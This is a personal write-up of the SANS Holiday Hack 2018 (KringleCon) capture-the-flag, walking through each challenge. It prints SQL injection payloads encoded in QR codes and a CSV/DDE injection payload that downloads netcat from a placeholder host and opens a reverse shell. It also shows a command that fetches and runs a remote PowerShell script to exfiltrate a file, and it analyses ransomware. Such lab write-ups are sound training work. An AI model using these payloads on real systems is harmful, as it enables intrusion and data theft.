KringleCon : Sans Holiday Hack 2018 Writeup



SANS HOLIDAY HACK 2018 Writeup , KRINGLECON

The objectives

  1.  Orientation Challenge
  2.  Directory Browsing
  3.  de Bruijn Sequences
  4.  Data Repo Analysis
  5.  AD Privilege Discovery
  6.  Badge Manipulation
  7.  HR Incident Response
  8.  Network Traffic Forensics
  9.  Ransomware Recovery
  10.  Who Is Behind It All?



First I go to Bushy Evergreen and try to solve the terminal challenge .


Solving it is fairly easy , Escape_Key followed by  ":q" without quotes


After this we move to the kiosk and solve the questions


The question were based on the themes of previous Holiday Hack Challenges. Once we answer it correctly we get the flag.



For this I visited Minty Candycane and I tried to solve the terminal challenge.



 The application has command injection vulnerability , so injecting a system command with the server ip allows execution of the command. So first I perform an `ls` operation to list of the directory contents , followed by a cat of the onboard.db file.


Then I manually searched the occurrence of the guy whose last name is "Chan".
I got the result  +  # !?ScottChan48 Colorado WayLos Angeles900674017533509scottmchan90067@gmail.com`S

So Scott is the First Name.

Once we complete the challenge, we will move to the objective. We are given a target website and if we spider the site, we can find the link to the rejected talk.



From the CSV file we can find the author of the rejected talk "Data Loss for Rainbow Teams" is  John McClane



First we solve the Lethal Forensic Challenge 


We found 2 interesting things .secret folder and .viminfo file. Looking at poem.txt. Looking at the poem.txt it felt like Morcel Naugat had written the letter. However .viminfo  file revealed something interesting.  Seems the name is Elinore. 


We successfully verified this by running the ./runanswer and entering the value Elinore



We intercepted the request and sent it to the intruder to perform bruteforce attacks. We create a sequence of 0000 - 3333 and bruteforced with each of the combination. 



The correct sequence , gave us the output "Correct Guess". 


Once we unlock the door and enter the room, the elf greets us "Welcome Unprepared Speaker!"


The terminal challenge is pre


I initially started off thinking that the samba share might have no password. However things didnt work. Now when I gave ps -ef command in the terminal , it showed lot of juicy information but I could not see the entire screen. So I redirected the output to a file and then issued cat command to view the contents.


From the -U parameter I guessed that the username is report-upload and there was one thing that caught my attention was that the value "directreindeerflatterystable". I expected it to be a password, so with the combination of username "report-upload" and password "directreindeerflatterystable". I was able to login and successfully upload the report.txt file.


To solve the question of the objective first I cloned the repository in my local machine. I used the tool called  TruffleHog to solve it. Running the tool revealed lot of juicy information from the git repository.  This also includes a password that was removed from the commit.


Next we find the zip file inside the directory and using the password we obtained from above we can extract the file.



 The terminal challenge is about starting a web service via curl. Now the interesting part of the challenge is that unlike other website, this one uses HTTP 2.0


Using the hint from the terminal we get a config file which tells us that the application is running on port 80 and using http2 protocol.


There was also no access to the source code. With this is mind , I just initiated a normal http2 request via curl. The response indicated that we need to send a POST request with a parameter status=on.


Send the new request curl -v --http2-prior-knowledge localhost:8080 -X POST -d "status=on"  the application starts running and we are greeted with a success message.


The Active Directory  challenge is pretty simple. Start bloodhound. Select the query from the list on "Shortest Path from Domain Admins to Kerberostable Users" and from the filter uncheck the "Can RDP". Then the user LDUBEJ00320@AD.KRINGLECASTLE.COM will be revealed in the graph.





We are provided with an Windows Event File. The challenge is to find the user who fell victim to password spray attack.


The event_dump.py converts the  event file to more readable format. I use to tool and redirect the output to a file. Now that I got the information I tried to find the events that has the ID 4625 ( Identifies the account that requested the logon - NOT the user who just attempted logged on ) . The output resulted lot of information but only 2 users has the associated event data with them 1) sparkle.redberry 2) minty.candycane. I tried checking with both the users , and minty.candycane is the right answer.


h

We are provided with alabaster snowball's badge. Doing a scan on QR code from the badge we are provided with a value. It looked like base64 encoded. So doing a base64 decode , it gave some non english characters.
The application below simulates a hardware of QR scanner. So instead of putting an actual badge for scanning , we are uploading a QR code. So if I upload the QR code of Alabaster, I would get an error that "Authorized User Account Has Been Disabled". So this gives us a brief idea that we need to either bypass the login or login with some valid credentials. 


There could have been a possibility of SQL injection, however I cannot test it directly. So I used some online service to convert payloads in QR codes and then used the upload feature to send the payload to backend. This is single quote converted to QR code.
After uploading the QR code which is having a single code payload, we get a response with a mysql error.

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1\")","request":false}

From the SQL error  ( uid = '{}' ) we get an idea how to perform the SQL injection So we use this payload for the next test for the injection 1' OR '1'='1';#

We get the following response when we upload the QR code. 
{"data":"Authorized User Account Has Been Disabled!","request":false}
This response is exactly what we get when we upload Alabaster's badge. So it seems this injection works but this user is still blocked. If we see the SQL query, the application adds LIMIT 1,1 in the query. This will result only 1 result from the resultset will be returned. So I thought of doing 2 things, first of all put our LIMIT query so that we can iterate over the other values of the returned resultsets and secondly we will add a # to comment out the SQL query LIMIT 1 from the main query.

So this is how our payloads looks like. For each of the payloads I created an QR code.

1' OR '1'='1' LIMIT 1,1;#

1' OR '1'='1' LIMIT 1,1;#
1' OR '1'='1' LIMIT 2,1;#
1' OR '1'='1' LIMIT 3,1;#
.
.
.
1' OR '1'='1' LIMIT 7,1;#

I got the break through withe the payload  1' OR '1'='1' LIMIT 8,1;# 
with a successful bypass and the application returned a response that  User Access Granted Message 
{"data":"User Access Granted - Control number 19880715","request":true,"success":{"hash":"5588574fc6db4b7e6756f76d79da594a7bf569c543b1e9ddfd6275660f676ee4","resourceId":"55e12281-e571-4adf-bf2f-a51d345dcabd"}}


This terminal challenge is very simple if we have some experience with git. We have to find the credentials that Sparkle used.


We can use one oneliner ( git log --pretty=oneline ) that shows the commit history with the commit message. The commit begining with 60a2... revealed something interesting in the message, " ... removed username / password...".


Having that information I tried to see what changes had been made for that commit . and it revealed the username and password of mongodb database.


We can run the tool to verify that twinkletwinkletwinkle is the password.


Our next challenge is very interesting, we are given a career site and we are required to upload a CV but in CSV format. Our objective is to steal the candidate_evaluation.docx file which is in the C:\ dive of the target server. It seemed there could be a chance for CSV injection.  


To first test that the CSV injection payload is working properly we have setup a webserver with a public IP address. Then we created a simple payload which will do a simple GET request, once we confirm from the apache logs that we have some incoming request from some IP address I proceeded with the other payloads. Next I uploaded netcat in the web root directory and had setup a netcat listener on port 7777.  Then I created a CSV injection payload that would use powershell to download the netcat binary, and would connect back to my attacker system using the netcat binary.

=cmd|' /C powershell Invoke-WebRequest "http://X.X.X.X/nc.exe" -OutFile "$env:Temp\nc.exe"; Start-Process "$env:Temp\nc.exe" -ArgumentList "-nv X.X.X.X 7777 -e cmd.exe" '!A1


There were 2 problems to the approach I used

  • The shell was dying off fast
  • The http upload script was not able to upload the document successfully ( I need to improve the code )

So I thought of of doing something different after I get the reverse shell

  • Run a ftp server with public IP address
  • Create a powershell script in that will grab the candidate_evaluation.docx  from C:\ and upload in our remote ftp server
  • Upload the powershell script in web root
  • Call the script on the target system via reverse shell command prompt.
<FTP SCRIPT>
<POWERSHELL SCRIPT>

After we have the setup ready we will re do the same process with netcat and csv injection and once we have the reverse shell , we will issue the command to download the powershell script and execute it. Once it is done executing we can go back to our ftp directory and find the file candidate_evaluation.docx file.


PS C:\Users\sparkle.redberry\Documents> Invoke-WebRequest -Uri 'http://X.X.X.X/exploit.ps1' -OutFile 'local.ps1';powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive .\local.ps1
Invoke-WebRequest -Uri 'http://X.X.X.X/exploit.ps1' -OutFile 'local.ps1';powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive .\local.ps1


Then we can open the document and find the Candidate Name Krampus and he worked for the organization Fancy Beaver.


 The terminal challenge is inside a python interpreter shell. The objective is to escape Python and run the application i_escaped.


I expected the challenge to be fairly simple but it has restricted lot of imports and system commands. I was aware that apart from the os library function, sys library provided some functions to execute system commands. One of them is call(). So first i tried to bypass the filter by using eval and breaking the import word to avoid the blacklist check. Then i used the call function on the module to call the .i_escaped binary and execute to win the challenge.




To solve this challenge we have to rely on solving HTTP 2.0 traffic and it requires us to have ssl_log file to decrypt the HTTP 2.0 traffic. From the hint and nalyzing the code gave us an idea that there is a dev environment present. So when we browse this url https://packalyzer.kringlecastle.com/dev/ we get error

Error: EISDIR: illegal operation on a directory, read

For all wrong directory names we got 404 , that means /dev/ is present

Again from the code when we browse the url https://packalyzer.kringlecastle.com/sslkeylogfile/ it gives error, with a reference to a folder.

Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'

I thought maybe using this url I could get the ssl_log file but it ended up in error.

https://packalyzer.kringlecastle.com/dev/sslkeylog/packalyzer_clientrandom_ssl.log

Error: ENOENT: no such file or directory, open '/opt/http2/dev//sslkeylog/packalyzer_clientrandom_ssl.log'

However omiting the sslkeylog name , gave us access to sslkeylog contents.

https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log


Next we can sniff the traffic and download the pcap file and use the sslkeylog file to decrypt the contents.However I had to be bit careful because the SSL key log was regenrating everytime. So while we sniff the traffic , we should use the link we found to fetch the latest ssl_key_log file.

Next we use the ssl key log in wireshark and load the pcap file  and put http2 in the filter 
   
Next we analyze the pcap file and get the credentials of alabaster snowball



Then we can login with alabaster snowballs credentials and steal super secret pcap file.
 



I downloaded the file and opened it using Wireshark and found few SMTP packets.



Following the TCP Stream on the SMTP packet revealed that a data has been transferred in base64 format, so copying the base64 and decoding it gave us more information about the content.


Further decoding and analyzing the base64 data showed that the header had PDF, so certainly a pdf file had been transferred. 


So I used one online service to paste the base64 data and convert it to a file and then rename the file with an extension pdf and we can then open the file with a pdf reader. At the end of the document we can find the name of the song "Mary had a little lamb".



This is a classic reverse engineering challemng and very straightforward. A random number is generated and if it doesn't match with our input it throws error.


I loaded the binary in gdb and put break point at main and ran the binary. It seemed at address 0x0000555555555589 the JNE result determines the JUMP to winnerwinner function.


So I put a breakpoint at 0x0000555555555589 and change the Zero Flags to set , which means that the comparison matched , resulting in setting the zero flag. Then we resumed the execution and we bypassed the check and completed the challenge.

0x0000555555555589




In this challenge we need to write snort rules.



The application also has a server where it stores some frequently generated snort rules. Looking at them with xxd tool revealed that most of them had the common content in them "26 37 37 36 31 36 45 36 45 36 31 36 33 36 46 36 46 36 42 36 39 36 35 32 45 36 44 36 39 36 45 32 45 37 30 37 33 33 31".


So I created a rule that any IP to any port either way having the similar content will be blocked.

alert udp any any -> any any (content: "|26 37 37 36 31 36 45 36 45 36 31 36 33 36 46 36 46 36 42 36 39 36 35 32 45 36 44 36 39 36 45 32 45 37 30 37 33 33 31|";sid:10000) alert udp any any -> any any (content: "|26 37 37 36 31 36 45 36 45 36 31 36 33 36 46 36 46 36 42 36 39 36 35 32 45 36 44 36 39 36 45 32 45 37 30 37 33 33 31|";sid:10001)

However, for the above rule I did not pass the challenge as I got the message

[i] Snort is alerting on legitimate user traffic!

Our rule was blocking legitimate traffic, so I need to tune the rules.

I used tshark and tried to look into the pcap file they provided and tried to parse the pcap file and filtered out results with the content "77616E6E61636F6F6B69652E6D696E2E707331"
 tshark -r snort.log.pcap | grep 77616E6E61636F6F6B69652E6D696E2E707331

The result revealed that most traffic with the ransomware are coming and going out of the network 10.126.0.0 where as the originating traffic is from random ip address.




We also know that DNS works on port 53. Combining all the bits and parts together, we created this rule26

alert udp any 53 -> 10.126.0.0/24 any (content: "|26 37 37 36 31 36 45 36 45 36 31 36 33 36 46 36 46 36 42 36 39 36 35 32 45 36 44 36 39 36 45 32 45 37 30 37 33 33 31|";sid:10000)
alert udp 10.126.0.0/24 any -> any 53 (content: "|26 37 37 36 31 36 45 36 45 36 31 36 33 36 46 36 46 36 42 36 39 36 35 32 45 36 44 36 39 36 45 32 45 37 30 37 33 33 31|";sid:10001)





We are given one Word docm file and our task is to perform malware analysis on top it and identify the domain.We ran olevba tool on top it and got some dde powershell scripts.



The contents were in base64 , but it was in compressed mode, so trying to decrpt the base64 contents directly to ascii didn't help. So used one more powershell script to decode the contents.



From the output we see that the domain it communicates with is erohetfanu.com






I went ahead decoded contents and the powershell code fetched some more information on executing it.




We extracted out a part of the powershell script and upon doing analysis and running the script it shows us this output which shows the killswitch domain.

1f0f0202171d020c0b09075604070a0a 7969707065656b697961612e61616179 yippeekiyaa.aaay

We can go ahead and register this domain using hohoho daddy domain registration





So for solving this challenge we are also provided few more things
1. Powershell dump file
2. Encrypted Elfdb file (WannaCookie File ) alabaster_passwords.elfdb.wannacookie

After analyzing the powershell script , few things I made a note on how the encryption happens
1. The application fetches the server.crt certificate
2. The $key_bytes is encrypted with the public key of the certificate , which means we need to find the private key of the server to decrypt it.
3. If we can decrypt the content we can get back the key that is used to encrypt the files.
3. The encryption key that is generated is of length 512

So first I tried to dump the server.crt. Its fairly simple. I have put a break point just put a break point after the cert is imported and then issue this command to dump the contents to a server.crt file.


Export-Certificate -Type CERT -Cert $cert -FilePath "server.crt"

So next I want the server.key file. I did a simple assumption and tried this and it worked. 7365727665722E637274 represented server.crt in hex, so I converted server.key in hex and it became 7365727665722e6b6579 and i passed it to the function g_o_dns()

$a = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274")));

But somehow it was throwing an error and I thought it possibly because the returned content might not be in base64 format. So I decided to use this function to dump the content and bingo I got the server.key


So now I have the server.crt and the server.key. However we are supposed to dump the content of wannacookie that was encrypted on others computer. So I need the value of $enc_key from the dump. So I load the powershell dump file in powerdump and look for variables that are of length >40 and length < 600. So I got the key with the filter




3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971

So our next step is to decrypt this content with the private key . But before that I must convert the encrypted content to binary format.

cat encr.txt | xxd -r -p > encr.bin

Next I used openssl to decrypt the content

openssl rsautl -decrypt -in "encr.bin" -out "decr.txt" -inkey "server.key" -oaep

The -oaep is very essential to decrypt the content , else it would throw error
-oaep use PKCS#1 OAEP

As the decrypted content is in binary format , I used xxd to get the hexdump of the content

xxd decr.txt 00000000: fbcf c121 915d 99cc 20a3 d3d5 d84f 8308 ...!.].. ....O..

So the AES key used for encryption is fbcfc121915d99cc20a3d3d5d84f8308

So we will use this key and run the script extracted out of the powershell malware script to decrypt the alabaster_passwords.elfdb.wannacookie and we will get back alabaster_passwords.elfdb file.


So I used nano to open the file and found that its an sqlite file but contents are not readable. So I dumped the elfdb file using sqlite and get alabasters password

sqlite3 elfdb.elfdb .dump > dbname.bak

So alabasters password is ED#ED#EED#EF#G#F#G#ABA#BA#B




We need to open the door with the piano-lock. Once we validate the password Alabaster Snowball reveals a hint "Really, it's Mozart. And it should be in the key of D, not E."


So if I use the url with wromg password , say XYZ we get error
{"success":false,"message":"Incorrect guess."}

If I use the url with the password of alabaster ( EDshEDshEEDshEFshGshFshGshABAshBAshB )
{"success":false,"message":"offkey"}

This indicates we are on right direction but we need to do some transposition of the key D. So we will shift by one previous note. In scenarios where Esh will come , we need to replace with E as there s noting as E#.

This results the key to become DCshDCshDDCshDEFshEFshGAGshAGshA

{"success":true,"resourceId":"110d5778-22d5-4000-a821-a333c550441a","hash":"efbf6b1c323402c365896bf445bf0e4202ee43924e01ba750c3f211cc0ec6e0e","message":"Correct guess!"}



Once we enter the vault, SANTA will reveal that he was behind all these situations.


I really enjoyed the CTF. Special thanks to the SANS and KringleCon folks as you did an awesome work to put such interesting things together. I would also like to thank all those good people who gave me some hints and support when I was stuck. Thanks very much !